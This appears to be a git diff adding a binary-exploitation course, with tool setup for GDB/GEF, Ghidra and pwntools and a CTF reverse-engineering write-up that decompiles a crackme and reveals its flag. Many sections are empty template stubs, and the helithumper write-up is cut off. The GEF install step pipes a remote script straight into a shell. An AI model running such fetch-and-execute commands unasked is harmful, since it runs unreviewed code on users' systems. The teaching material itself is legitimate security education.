diff --git a/0.png b/0.png new file mode 100644 index 0000000..fe66357 Binary files /dev/null and b/0.png differ diff --git a/0/0.md b/0/0.md new file mode 100644 index 0000000..3158083 --- /dev/null +++ b/0/0.md @@ -0,0 +1,38 @@ +# Binary Exploitation + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + diff --git a/0/1.png b/0/1.png new file mode 100644 index 0000000..7e693b3 Binary files /dev/null and b/0/1.png differ diff --git a/0/10.png b/0/10.png new file mode 100644 index 0000000..6bb5f38 Binary files /dev/null and b/0/10.png differ diff --git a/0/11.png b/0/11.png new file mode 100644 index 0000000..dd0fa2e Binary files /dev/null and b/0/11.png differ diff --git a/0/2.png b/0/2.png new file mode 100644 index 0000000..b04955d Binary files /dev/null and b/0/2.png differ diff --git a/0/3.png b/0/3.png new file mode 100644 index 0000000..b31caa5 Binary files /dev/null and b/0/3.png differ diff --git a/0/4.png b/0/4.png new file mode 100644 index 0000000..8e89d9d Binary files /dev/null and b/0/4.png differ diff --git a/0/5.png b/0/5.png new file mode 100644 index 0000000..aab18e1 Binary files /dev/null and b/0/5.png differ diff --git a/0/6.png b/0/6.png new file mode 100644 index 0000000..a10dad8 Binary files /dev/null and b/0/6.png differ diff --git a/0/7.png b/0/7.png new file mode 100644 index 0000000..f9b358a Binary files /dev/null and b/0/7.png differ diff --git a/0/8.png b/0/8.png new file mode 100644 index 0000000..3cd79fc Binary files /dev/null and b/0/8.png differ diff --git a/0/9.png b/0/9.png new file mode 100644 index 0000000..2086c21 Binary files /dev/null and b/0/9.png differ diff --git a/0/gdb.md b/0/gdb.md new file mode 100644 index 0000000..4e1ac8b --- /dev/null +++ b/0/gdb.md @@ -0,0 +1,140 @@ +# GDB + GEF + +GDB, the GNU project debugger, allows you to see what is going on inside another program while it executes, or what said program was doing at the moment it crashed. GDB supports Ada, Assembly, C, C++, D, Frotan, Go, Objective-C, OpenCL, Modula-2, Pascal and Rust. For more information, click [here](https://www.gnu.org/software/gdb/). + +However, GDB is very old school, so we will use GEF to enhance the usage of gdb, it is a set of commands for x86/64, ARM, MIPS,PowerPC and SPARC that provides additional features to GDB using the Python API to assist during the dynamic analysis and exploit development. For more information, click [here](https://github.com/hugsy/gef). + +## Installation + +To install gdb you can find it in most repositories of popular linux distributions: + + + #Arch Linux: + [ 192.168.0.18/24 ] [ /dev/pts/15 ] [~] + → pacman -Ss gdb + extra/gdb 10.1-4 + The GNU Debugger + + [ 192.168.0.18/24 ] [ /dev/pts/15 ] [~] + → pacman -S gdb + + + #Kali / Debian: + [ 10.10.14.17/23 ] [ /dev/pts/3 ] [~] + → apt search gdb + gdb/kali-rolling,now 10.1-1.7 amd64 [installed] + GNU Debugger + + [ 10.10.14.17/23 ] [ /dev/pts/3 ] [~] + → apt install gdb -y + + +To install GEF we will follow the instructions from the main website: + + + + [ 10.10.14.17/23 ] [ /dev/pts/3 ] [~] + → sh -c "$(wget http://gef.blah.cat/sh -O -)" + --2021-02-21 16:20:00-- http://gef.blah.cat/sh + Resolving gef.blah.cat (gef.blah.cat)... 40.121.232.30 + Connecting to gef.blah.cat (gef.blah.cat)|40.121.232.30|:80... connected. + HTTP request sent, awaiting response... 301 Moved Permanently + Location: https://github.com/hugsy/gef/raw/master/scripts/gef.sh [following] + --2021-02-21 16:20:01-- https://github.com/hugsy/gef/raw/master/scripts/gef.sh + Resolving github.com (github.com)... 140.82.121.4 + Connecting to github.com (github.com)|140.82.121.4|:443... connected. + HTTP request sent, awaiting response... 302 Found + Location: https://raw.githubusercontent.com/hugsy/gef/master/scripts/gef.sh [following] + --2021-02-21 16:20:01-- https://raw.githubusercontent.com/hugsy/gef/master/scripts/gef.sh + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.109.133, 185.199.108.133, ... + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 565 [text/plain] + Saving to: ‘STDOUT’ + + - 100%[=================================================================================================================================================================>] 565 --.-KB/s in 0s + + 2021-02-21 16:20:01 (49.8 MB/s) - written to stdout [565/565] + + sh: 6: test: unexpected operator + + [ 10.10.14.17/23 ] [ /dev/pts/3 ] [~] + → ls -lash ~/.gdbinit + 4.0K -rw-r--r-- 1 nothing nothing 58 Feb 21 16:20 /home/nothing/.gdbinit + + + +Now when you try to launch gdb, you see that you are correctly launching gef: + +![](1.png) + +If you get any errors as you launch gdb - gef for the first time, just run the required pip install commands: + +![](2.png) + + + gef➤ q + + [ 10.10.14.17/23 ] [ /dev/pts/3 ] [~] + → sudo apt install python3-pip -y + + [ 10.10.14.17/23 ] [ /dev/pts/3 ] [~] + → pip3 install keystone-engine unicorn ropper + Collecting keystone-engine + Downloading keystone_engine-0.9.2-py2.py3-none-manylinux1_x86_64.whl (1.8 MB) + |████████████████████████████████| 1.8 MB 2.3 MB/s + Collecting unicorn + Downloading unicorn-1.0.2-py2.py3-none-manylinux1_x86_64.whl (8.1 MB) + |████████████████████████████████| 8.1 MB 6.3 MB/s + Collecting ropper + Downloading ropper-1.13.6.tar.gz (71 kB) + |████████████████████████████████| 71 kB 2.2 MB/s + Collecting filebytes>=0.10.0 + Downloading filebytes-0.10.2.tar.gz (20 kB) + Building wheels for collected packages: ropper, filebytes + Building wheel for ropper (setup.py) ... done + Created wheel for ropper: filename=ropper-1.13.6-py3-none-any.whl size=99735 sha256=2f90a4e8a5b14f1c8c3abd0700b1e56ff8dbc7f3d165a5f69790c31cedd8948b + Stored in directory: /home/nothing/.cache/pip/wheels/77/a4/5d/a4bc1b653bdcce30a17b5cdda8f19da11444bb8640d03ab678 + Building wheel for filebytes (setup.py) ... done + Created wheel for filebytes: filename=filebytes-0.10.2-py3-none-any.whl size=27853 sha256=17cf4812a6b16ee7c92a4ba259326c61fbfab4cf3c05ace2cb627a0de892d27f + Stored in directory: /home/nothing/.cache/pip/wheels/c2/51/58/98925d75705ee4df10da42a098d956183bb70661698fd07753 + Successfully built ropper filebytes + Installing collected packages: keystone-engine, unicorn, filebytes, ropper + WARNING: The script ropper is installed in '/home/nothing/.local/bin' which is not on PATH. + Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location. + Successfully installed filebytes-0.10.2 keystone-engine-0.9.2 ropper-1.13.6 unicorn-1.0.2 + + + + +Once you're here, you're good to go + +![](3.png) + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + diff --git a/0/ghidra.md b/0/ghidra.md new file mode 100644 index 0000000..7185970 --- /dev/null +++ b/0/ghidra.md @@ -0,0 +1,164 @@ +# Ghidra + +Ghidra is a software reverse engineering (SRE) framework created and maintained by the National Security Agency Research Directorate. This framework includes a suite of full-featured, high-end software analysis tools that enable users to analyze compiled code on a variety of platforms including Windows, macOS, and Linux. Capabilities include disassembly, assembly, decompilation, graphing, and scripting, along with hundreds of other features. Ghidra supports a wide variety of processor instruction sets and executable formats and can be run in both user-interactive and automated modes. + +## Installation + +To install Ghidra, we will follow the instructions listed [here](https://www.ghidra-sre.org/InstallationGuide.html) + +First install java: + + + [ 10.10.14.17/23 ] [ /dev/pts/3 ] [~] + → sudo apt update -y ; sudo apt upgrade -y ; sudo apt install default-jdk -y + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~] + → java -version + openjdk version "11.0.10" 2021-01-19 + OpenJDK Runtime Environment (build 11.0.10+9-post-Debian-1) + OpenJDK 64-Bit Server VM (build 11.0.10+9-post-Debian-1, mixed mode, sharing) + + + +From here, just go to ghidra's main website to download the zip file: + +![](4.png) + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/Tools/ghidra] + → wget https://www.ghidra-sre.org/ghidra_9.2.2_PUBLIC_20201229.zip + --2021-02-21 23:10:29-- https://www.ghidra-sre.org/ghidra_9.2.2_PUBLIC_20201229.zip + Resolving www.ghidra-sre.org (www.ghidra-sre.org)... 13.249.9.44, 13.249.9.83, 13.249.9.20, ... + Connecting to www.ghidra-sre.org (www.ghidra-sre.org)|13.249.9.44|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 317805407 (303M) [application/zip] + Saving to: ‘ghidra_9.2.2_PUBLIC_20201229.zip’ + + ghidra_9.2.2_PUBLIC_20201229.zip 100%[=======================================================================================================================================================================================================>] 303.08M 10.9MB/s in 29s + + 2021-02-21 23:10:58 (10.5 MB/s) - ‘ghidra_9.2.2_PUBLIC_20201229.zip’ saved [317805407/317805407] + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/Tools/ghidra] + → unzip ghidra_9.2.2_PUBLIC_20201229.zip + + +Now from here, we need the ghidraRun binary to launch ghidra: + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/Tools/ghidra] + → ls -l + total 310368 + drwxr-xr-x 9 nothing nothing 4096 Dec 29 17:22 ghidra_9.2.2_PUBLIC + -rw-r--r-- 1 nothing nothing 317805407 Jan 19 17:53 ghidra_9.2.2_PUBLIC_20201229.zip + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/Tools/ghidra] + → cd ghidra_9.2.2_PUBLIC + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [Tools/ghidra/ghidra_9.2.2_PUBLIC] + → ls + docs Extensions Ghidra ghidraRun ghidraRun.bat GPL LICENSE licenses server support + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [Tools/ghidra/ghidra_9.2.2_PUBLIC] + → file ghidraRun + ghidraRun: Bourne-Again shell script, ASCII text executable + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [Tools/ghidra/ghidra_9.2.2_PUBLIC] + → cat ghidraRun + #!/usr/bin/env bash + + #---------------------------------------- + # Ghidra launch + #---------------------------------------- + + # Maximum heap memory may be changed if default is inadequate. This will generally be up to 1/4 of + # the physical memory available to the OS. Uncomment MAXMEM setting if non-default value is needed. + #MAXMEM=2G + + # Resolve symbolic link if present and get the directory this script lives in. + # NOTE: "readlink -f" is best but works on Linux only, "readlink" will only work if your PWD + # contains the link you are calling (which is the best we can do on macOS), and the "echo" is the + # fallback, which doesn't attempt to do anything with links. + SCRIPT_FILE="$(readlink -f "$0" 2>/dev/null || readlink "$0" 2>/dev/null || echo "$0")" + SCRIPT_DIR="${SCRIPT_FILE%/*}" + + # Launch Ghidra + "${SCRIPT_DIR}"/support/launch.sh bg Ghidra "${MAXMEM}" "" ghidra.GhidraRun "$@" + + +To make it more convenient, i make a symlink to a folder in PATH: + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [Tools/ghidra/ghidra_9.2.2_PUBLIC] + → echo $PATH + /usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [Tools/ghidra/ghidra_9.2.2_PUBLIC] + → sudo ln -s $(pwd)/ghidraRun /usr/bin/ghidra + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [Tools/ghidra/ghidra_9.2.2_PUBLIC] + → ls -lash /usr/bin/ghidra + 0 lrwxrwxrwx 1 root root 56 Feb 21 23:19 /usr/bin/ghidra -> /home/nothing/Tools/ghidra/ghidra_9.2.2_PUBLIC/ghidraRun + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [Tools/ghidra/ghidra_9.2.2_PUBLIC] + → which ghidra + /usr/bin/ghidra + + + +From here you can just type ghidra in your terminal or in dmenu or rofi or whatever you want, it will open up ghidra for you: + +![](5.png) + +Here you get a nice tutorial to let you know about ghidra's functionnalities, but you will want to create a new project and giving it a directory location: + +![](6.png) + +Just to test, we're going to copy a random binary locally and import it + +![](7.png) + + + [ 192.168.100.126/24 ] [ /dev/pts/3 ] [~/binexp] + → cp /bin/lspci . + + [ 192.168.100.126/24 ] [ /dev/pts/3 ] [~/binexp] + → ls -lash lspci + 92K -rwxr-xr-x 1 nothing nothing 92K Feb 21 23:27 lspci + + + +` ![](8.png) ![](9.png) ![](10.png) + +And there you have it! You now have an imported a binary file to disassemble. + +![](11.png) ![]() + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + diff --git a/0/pwntools.md b/0/pwntools.md new file mode 100644 index 0000000..336544c --- /dev/null +++ b/0/pwntools.md @@ -0,0 +1,86 @@ +# Python Pwntools + +Pwntools is a python ctf library designed for rapid exploit development. It helps us write exploits quickly, thanks to the functionnalities behind it. Pwntools has python2 and python3 versions, In this course we will use the python3 version since it is the most up to date. + +## Installation + +The installation is fairly simple. Make sure you have python3 and python3-pip installed on your system, then run the following: + + + + [ 10.10.14.17/23 ] [ /dev/pts/3 ] [~] + → which python3 pip3 + /usr/bin/python3 + /usr/bin/pip3 + + + [ 10.10.14.17/23 ] [ /dev/pts/3 ] [~] + → sudo pip3 install pwn + [sudo] password for nothing: + + Collecting pwn + Downloading pwn-1.0.tar.gz (1.1 kB) + Collecting pwntools + Downloading pwntools-4.3.1-py2.py3-none-any.whl (10.0 MB) + |████████████████████████████████| 10.0 MB 12.3 MB/s + Requirement already satisfied: six>=1.12.0 in /usr/lib/python3/dist-packages (from pwntools->pwn) (1.15.0) + Requirement already satisfied: pyserial>=2.7 in /usr/lib/python3/dist-packages (from pwntools->pwn) (3.5b0) + Requirement already satisfied: requests>=2.0 in /usr/lib/python3/dist-packages (from pwntools->pwn) (2.25.1) + Requirement already satisfied: pygments>=2.0 in /usr/lib/python3/dist-packages (from pwntools->pwn) (2.7.1) + Requirement already satisfied: intervaltree>=3.0 in /usr/lib/python3/dist-packages (from pwntools->pwn) (3.0.2) + Requirement already satisfied: paramiko>=1.15.2 in /usr/lib/python3/dist-packages (from pwntools->pwn) (2.7.2) + Requirement already satisfied: sortedcontainers in /usr/lib/python3/dist-packages (from pwntools->pwn) (2.1.0) + Requirement already satisfied: python-dateutil in /usr/lib/python3/dist-packages (from pwntools->pwn) (2.8.1) + Requirement already satisfied: packaging in /usr/lib/python3/dist-packages (from pwntools->pwn) (20.8) + Requirement already satisfied: pysocks in /usr/lib/python3/dist-packages (from pwntools->pwn) (1.7.1) + Collecting unicorn<1.0.2rc4,>=1.0.2rc1 + Downloading unicorn-1.0.2rc3-py2.py3-none-manylinux1_x86_64.whl (8.1 MB) + |████████████████████████████████| 8.1 MB 4.2 MB/s + Requirement already satisfied: mako>=1.0.0 in /usr/lib/python3/dist-packages (from pwntools->pwn) (1.1.3) + Requirement already satisfied: pip>=6.0.8 in /usr/lib/python3/dist-packages (from pwntools->pwn) (20.1.1) + Collecting ropgadget>=5.3 + Downloading ROPGadget-6.5-py3-none-any.whl (31 kB) + Requirement already satisfied: capstone>=3.0.5rc2 in /usr/lib/python3/dist-packages (from pwntools->pwn) (4.0.2) + Requirement already satisfied: pyelftools>=0.2.4 in /usr/lib/python3/dist-packages (from pwntools->pwn) (0.27) + Requirement already satisfied: psutil>=3.3.0 in /usr/lib/python3/dist-packages (from pwntools->pwn) (5.7.3) + Building wheels for collected packages: pwn + Building wheel for pwn (setup.py) ... done + Created wheel for pwn: filename=pwn-1.0-py3-none-any.whl size=1220 sha256=35c1e3da705801680c0b2d0b440b1da8836bc2b32b4343d4aa751ffcf26abf78 + Stored in directory: /root/.cache/pip/wheels/34/a6/82/682ac94b58ae2e949908f11392d778574372a6cedc78b4b0a5 + Successfully built pwn + Installing collected packages: unicorn, ropgadget, pwntools, pwn + Successfully installed pwn-1.0 pwntools-4.3.1 ropgadget-6.5 unicorn-1.0.2rc3 + + + +If you want the full documentation on pwntools, click [here](https://docs.pwntools.com/en/stable/). + +![]() + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + diff --git a/1/0.md b/1/0.md new file mode 100644 index 0000000..bd2c701 --- /dev/null +++ b/1/0.md @@ -0,0 +1,84 @@ +# Binary Exploitation + +## Downloading the binary file + + + + +` ![]() + +## Solution + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +![]() + +![]() + +![]() + +![]() + +![]() + +![]() + +![]() + +![]() + +![]() + +![]() + +![]() + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + diff --git a/1/1.png b/1/1.png new file mode 100644 index 0000000..032bc3e Binary files /dev/null and b/1/1.png differ diff --git a/1/2.png b/1/2.png new file mode 100644 index 0000000..c46127d Binary files /dev/null and b/1/2.png differ diff --git a/1/3.png b/1/3.png new file mode 100644 index 0000000..ee66043 Binary files /dev/null and b/1/3.png differ diff --git a/1/4.png b/1/4.png new file mode 100644 index 0000000..63dfeef Binary files /dev/null and b/1/4.png differ diff --git a/1/5.png b/1/5.png new file mode 100644 index 0000000..01d4915 Binary files /dev/null and b/1/5.png differ diff --git a/1/6.png b/1/6.png new file mode 100644 index 0000000..4ddd006 Binary files /dev/null and b/1/6.png differ diff --git a/1/7.png b/1/7.png new file mode 100644 index 0000000..a471f1a Binary files /dev/null and b/1/7.png differ diff --git a/1/beleaf.md b/1/beleaf.md new file mode 100644 index 0000000..8117448 --- /dev/null +++ b/1/beleaf.md @@ -0,0 +1,402 @@ +# CSAW 2019 Beleaf + +## Downloading the binary file + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1] + → wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/03-beginner_re/csaw19_beleaf/beleaf + --2021-02-22 19:55:50-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/03-beginner_re/csaw19_beleaf/beleaf + Resolving github.com (github.com)... 140.82.121.4 + Connecting to github.com (github.com)|140.82.121.4|:443... connected. + HTTP request sent, awaiting response... 302 Found + Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/03-beginner_re/csaw19_beleaf/beleaf [following] + --2021-02-22 19:55:51-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/03-beginner_re/csaw19_beleaf/beleaf + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.108.133, 185.199.111.133, ... + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 7624 (7.4K) [application/octet-stream] + Saving to: ‘beleaf’ + + beleaf 100%[===============================================================================>] 7.45K --.-KB/s in 0.01s + + 2021-02-22 19:55:51 (676 KB/s) - ‘beleaf’ saved [7624/7624] + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1] + → file beleaf + beleaf: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6d305eed7c9bebbaa60b67403a6c6f2b36de3ca4, stripped + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1] + → chmod +x beleaf + + + +` ![]() + +## Solution + +Now, first things first, we are going to use pwntools' pwn tool to check the security of the binary file itself. + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1] + → pwn checksec beleaf + [*] '/home/nothing/binexp/1/beleaf' + Arch: amd64-64-little + RELRO: Full RELRO + Stack: Canary found + NX: NX enabled + PIE: PIE enabled + + + +So we are dealing with a 64bit binary, that scans the input of the user and then checks it, very much like the previous challenge we solved, [helithumper](heli.html). So we're going to import the file into ghidra, and take a look at the main function + +![](6.png) + +Here the main function is not called 'main' like in the previous challenge, to do so i had to look for the 'Enter the flag >>>" print statement which happened to be in the FUN_001008a1 function as you can see in the screenshot above. The code that ghidra gives us says that our text input is called 'local_98' and then later on the length of our text input is passed into sVar1 + + + undefined8 FUN_001008a1(void) + + { + size_t sVar1; + long lVar2; + long in_FS_OFFSET; + ulong local_b0; + char local_98 [136]; + long local_10; + + local_10 = *(long *)(in_FS_OFFSET + 0x28); + printf("Enter the flag\n>>> "); + __isoc99_scanf(&DAT;_00100a78,local_98); + sVar1 = strlen(local_98); + if (sVar1 < 0x21) { + puts("Incorrect!"); + /* WARNING: Subroutine does not return */ + exit(1); + } + local_b0 = 0; + while (local_b0 < sVar1) { + lVar2 = FUN_001007fa((int)local_98[local_b0]); + if (lVar2 != *(long *)(&DAT;_003014e0 + local_b0 * 8)) { + puts("Incorrect!"); + /* WARNING: Subroutine does not return */ + exit(1); + } + local_b0 = local_b0 + 1; + } + puts("Correct!"); + if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { + /* WARNING: Subroutine does not return */ + __stack_chk_fail(); + } + return 0; + } + + +now let's look at what we need to get the 'correct' output, first of all if our input LENGTH (sVar1) is less than 0x21 or 33 bytes, we will get 'incorrect', so we need at least 33 characters: + + + if (sVar1 < 0x21) { + puts("Incorrect!"); + /* WARNING: Subroutine does not return */ + exit(1); + + +Then we see that we enter a for loop (which is a while loop with a variable being incremented (here it is local_b0)) + + + while (local_b0 < sVar1) { + lVar2 = FUN_001007fa((int)local_98[local_b0]); + if (lVar2 != *(long *)(&DAT;_003014e0 + local_b0 * 8)) { + puts("Incorrect!"); + /* WARNING: Subroutine does not return */ + exit(1); + } + local_b0 = local_b0 + 1; + } + puts("Correct!"); + + +in this for loop, each character of our text input (local_98 at the index 0,1,2,3 ... 32) gets passed into the 'FUN_001007fa' function the result of that function gets passed to the if statement as 'lVar2' to get checked against a certain '&DAT;_003014e0' which is basically an array, the if statement checks for the characters at offsets of 8. So let's double click it to see what it is: + + + DAT_003014e0 XREF[2]: FUN_001008a1:0010096b(*), + FUN_001008a1:00100972(R) + 003014e0 01 ?? 01h + + 003014e1 00 ?? 00h + 003014e2 00 ?? 00h + 003014e3 00 ?? 00h + 003014e4 00 ?? 00h + 003014e5 00 ?? 00h + 003014e6 00 ?? 00h + 003014e7 00 ?? 00h + 003014e8 09 ?? 09h + + 003014e9 00 ?? 00h + 003014ea 00 ?? 00h + 003014eb 00 ?? 00h + 003014ec 00 ?? 00h + 003014ed 00 ?? 00h + 003014ee 00 ?? 00h + 003014ef 00 ?? 00h + 003014f0 11 ?? 11h + + 003014f1 00 ?? 00h + 003014f2 00 ?? 00h + 003014f3 00 ?? 00h + 003014f4 00 ?? 00h + 003014f5 00 ?? 00h + 003014f6 00 ?? 00h + 003014f7 00 ?? 00h + 003014f8 27 ?? 27h ' + + 003014f9 00 ?? 00h + 003014fa 00 ?? 00h + 003014fb 00 ?? 00h + 003014fc 00 ?? 00h + 003014fd 00 ?? 00h + 003014fe 00 ?? 00h + 003014ff 00 ?? 00h + 00301500 02 ?? 02h + + + +And here we see the bytes we need are at offsets of 8, so we have the following: + + + 0x1 0x9 0x11 0x27 0x2 + + +Now let's take a look at the 'FUN_001007fa' function that checks each of our input text characters: + +![](7.png) + + + long FUN_001007fa(char param_1) + + { + long local_10; + + local_10 = 0; + while ((local_10 != -1 && ((int)param_1 != *(int *)(&DAT;_00301020 + local_10 * 4)))) { + if ((int)param_1 < *(int *)(&DAT;_00301020 + local_10 * 4)) { + local_10 = local_10 * 2 + 1; + } + else { + if (*(int *)(&DAT;_00301020 + local_10 * 4) < (int)param_1) { + local_10 = (local_10 + 1) * 2; + } + } + } + return local_10; + } + + +in here, each character of our input text gets passed as the param_1 charcater, and then the function basically looks at the 'DAT_003014e0' array with offsets of 4, the function tries to find at which index our input text characters are in this array, so let's see what is in that 'DAT_003014e0' array + + + DAT_00301020 XREF[6]: FUN_001007fa:00100820(*), + FUN_001007fa:00100827(R), + FUN_001007fa:00100844(*), + FUN_001007fa:0010084b(R), + FUN_001007fa:00100873(*), + FUN_001007fa:0010087a(R) + 00301020 77 ?? 77h w + + 00301021 00 ?? 00h + 00301022 00 ?? 00h + 00301023 00 ?? 00h + 00301024 66 ?? 66h f + + 00301025 00 ?? 00h + 00301026 00 ?? 00h + 00301027 00 ?? 00h + 00301028 7b ?? 7Bh { + + 00301029 00 ?? 00h + 0030102a 00 ?? 00h + 0030102b 00 ?? 00h + 0030102c 5f ?? 5Fh _ + + 0030102d 00 ?? 00h + 0030102e 00 ?? 00h + 0030102f 00 ?? 00h + 00301030 6e ?? 6Eh n + + 00301031 00 ?? 00h + 00301032 00 ?? 00h + 00301033 00 ?? 00h + 00301034 79 ?? 79h y + + 00301035 00 ?? 00h + 00301036 00 ?? 00h + 00301037 00 ?? 00h + 00301038 7d ?? 7Dh } + + 00301039 00 ?? 00h + 0030103a 00 ?? 00h + 0030103b 00 ?? 00h + 0030103c ff ?? FFh + 0030103d ff ?? FFh + 0030103e ff ?? FFh + 0030103f ff ?? FFh + 00301040 62 ?? 62h b + + 00301041 00 ?? 00h + 00301042 00 ?? 00h + 00301043 00 ?? 00h + 00301044 6c ?? 6Ch l + + 00301045 00 ?? 00h + 00301046 00 ?? 00h + 00301047 00 ?? 00h + 00301048 72 ?? 72h r + + 00301049 00 ?? 00h + 0030104a 00 ?? 00h + 0030104b 00 ?? 00h + 0030104c ff ?? FFh + 0030104d ff ?? FFh + 0030104e ff ?? FFh + 0030104f ff ?? FFh + 00301050 ff ?? FFh + 00301051 ff ?? FFh + 00301052 ff ?? FFh + 00301053 ff ?? FFh + 00301054 ff ?? FFh + 00301055 ff ?? FFh + 00301056 ff ?? FFh + 00301057 ff ?? FFh + 00301058 ff ?? FFh + 00301059 ff ?? FFh + 0030105a ff ?? FFh + 0030105b ff ?? FFh + 0030105c ff ?? FFh + 0030105d ff ?? FFh + 0030105e ff ?? FFh + 0030105f ff ?? FFh + 00301060 ff ?? FFh + 00301061 ff ?? FFh + 00301062 ff ?? FFh + 00301063 ff ?? FFh + 00301064 61 ?? 61h a + + 00301065 00 ?? 00h + 00301066 00 ?? 00h + 00301067 00 ?? 00h + 00301068 65 ?? 65h e + + 00301069 00 ?? 00h + 0030106a 00 ?? 00h + 0030106b 00 ?? 00h + 0030106c 69 ?? 69h i + [...] + + + +now when you look at the characters in this array, you can get the feeling that you might be able to type flag{something} with it, so let's follow what the code does with the 2 arrays we found: + +we know that the start of the 1020array is 00301020. The character f will output 1 because **((0x00301024 - 0x00301020) / 4) = 1** so this is equal to 1. This 1 also corresponds to the 14e0 array from earlier: + + + DAT_003014e0 XREF[2]: FUN_001008a1:0010096b(*), + FUN_001008a1:00100972(R) + 003014e0 01 ?? 01h + + 003014e1 00 ?? 00h + 003014e2 00 ?? 00h + 003014e3 00 ?? 00h + 003014e4 00 ?? 00h + 003014e5 00 ?? 00h + 003014e6 00 ?? 00h + 003014e7 00 ?? 00h + 003014e8 09 ?? 09h + + 003014e9 00 ?? 00h + 003014ea 00 ?? 00h + 003014eb 00 ?? 00h + 003014ec 00 ?? 00h + 003014ed 00 ?? 00h + 003014ee 00 ?? 00h + 003014ef 00 ?? 00h + 003014f0 11 ?? 11h + + 003014f1 00 ?? 00h + 003014f2 00 ?? 00h + 003014f3 00 ?? 00h + 003014f4 00 ?? 00h + 003014f5 00 ?? 00h + 003014f6 00 ?? 00h + 003014f7 00 ?? 00h + 003014f8 27 ?? 27h ' + + 003014f9 00 ?? 00h + 003014fa 00 ?? 00h + 003014fb 00 ?? 00h + 003014fc 00 ?? 00h + 003014fd 00 ?? 00h + 003014fe 00 ?? 00h + 003014ff 00 ?? 00h + 00301500 02 ?? 02h + + [...] + + + +and here you have to continue with the 0x9 value,**(0x00301020 + (4*9)) = 0x301044** this address corresponds to the l character + + + fl + + + +11 is the third character **(0x00301020 + (4*11)) = 0x301064** this corresponds to the a character + + + fla + + +27 is the fourth character **(0x00301020 + (4*27)) = 0x3010bc** this corresponds to the g character + + + flag + + +from here you keep going and you end up with the following: + + + flag{we_beleaf_in_your_re_future} + + + +so just run the binary with the flag to verify it is correct: + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1] + → ./beleaf + Enter the flag + >>> flag{we_beleaf_in_your_re_future} + Correct! + + + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + diff --git a/1/heli.md b/1/heli.md new file mode 100644 index 0000000..1676f36 --- /dev/null +++ b/1/heli.md @@ -0,0 +1,294 @@ +# Helithumper Reverse Engineering + +## Downloading the binary file + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1] + → wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/03-beginner_re/helithumper_re/rev + --2021-02-22 17:19:05-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/03-beginner_re/helithumper_re/rev + Resolving github.com (github.com)... 140.82.121.4 + Connecting to github.com (github.com)|140.82.121.4|:443... connected. + HTTP request sent, awaiting response... 302 Found + Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/03-beginner_re/helithumper_re/rev [following] + --2021-02-22 17:19:05-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/03-beginner_re/helithumper_re/rev + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.111.133, 185.199.108.133, ... + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 16704 (16K) [application/octet-stream] + Saving to: ‘rev’ + + rev 100%[===============================================================================>] 16.31K --.-KB/s in 0s + + 2021-02-22 17:19:05 (37.3 MB/s) - ‘rev’ saved [16704/16704] + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1] + → file rev + rev: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e4dbcb1281821db359d566c68fea7380aeb27378, for GNU/Linux 3.2.0, not stripped + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1] + → chmod +x rev + + + +` ![]() + +## Solution + +Run the binary + + + [ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1] + → ./rev + Welcome to the Salty 